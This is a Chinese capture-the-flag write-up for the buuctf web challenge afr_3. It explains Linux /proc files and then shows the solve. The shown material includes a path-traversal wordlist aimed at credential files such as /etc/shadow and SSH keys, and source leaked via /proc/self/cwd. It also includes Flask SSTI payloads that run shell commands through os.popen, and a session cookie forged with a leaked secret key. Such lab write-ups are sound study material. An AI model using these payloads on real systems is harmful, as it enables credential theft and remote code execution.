buuctf 刷题记录 [第一章 web入门]afr_3
buuctf 刷题记录 [第一章 web入门]afr_3
考点:本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
关于/proc/目录
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid]—当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
ok,相关信息介绍到这,接下来开始正式getshell
文件读取
随便输入写什么东西就会返回一个包含article的页面
读取一下flag试试
没有权限
那么在这种时候可以读取什么呢
字典目录:
..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\Windows\System32\inetsrv\MetaBase.xml
..\..\..\..\..\..\..\..\..\..\Windows\repair\sam
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\my.ini
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\data\mysql\user.MYD
..\..\..\..\..\..\..\..\..\..\Windows\php.ini
..\..\..\..\..\..\..\..\..\..\Windows\my.ini
../../../../../../../../root/.ssh/authorized_keys
../../../../../../../../root/.ssh/id_rsa
../../../../../../../../root/.ssh/id_rsa.keystore
../../../../../../../../root/.ssh/known_hosts
../../../../../../../../etc/passwd
../../../../../../../../etc/shadow
../../../../../../../../etc/my.cnf
../../../../../../../../etc/httpd/conf/httpd.conf
../../../../../../../../root/.bash_history
../../../../../../../../root/.mysql_history
../../../../../../../../proc/self/fd/fd[0-9]*
../../../../../../../../proc/mounts
../../../../../../../../proc/config.gz
../../../../../proc/self/cmdline
其中还包含了一部分Windows的
根据../../../../../proc/self/cmdline
得出的信息可以知道
当前正在运行pythonserver.py
到这里其实就该想到了利用python的flask进行模板ssti注入,从而读取flag
参考:
那么现在根据/proc/
的特性,可以读取正在运行的pythonserver.py
的源码
name=../../../../../proc/self/cwd/server.py
原理是使用proc
指定self
代表当前进程,然后cwd
指向运行的文件pythonserver.py
python代码虽然一坨了,但是还是可以看出大致逻辑的
可以看到执行了flag.py
和key.py
SSTI
接下来考虑的是怎么样获得权限,去读取flag
先读一下key得到如下信息
#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'
接下来使用flask_session_cookie_manager3去伪造cookie读flag
ssti代码:
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
ps:我感觉这些ssti的payload好像啊
注意,这里使用的是python2的ssti代码
python3的ssti中的类的数量和python2不一样
python3的ssti格式(与本题无关,本题是python2的)
{{''.__class__.__mro__[1].__subclasses__()}}
继续本题
使用flask_session_cookie_manager3
生成payload
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
-s 指的是加密密钥
-t 指的是加密密文(ssti)
payload:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YM4agQ.nUmKAGlhSriciQXZZ_7z8GdRwOI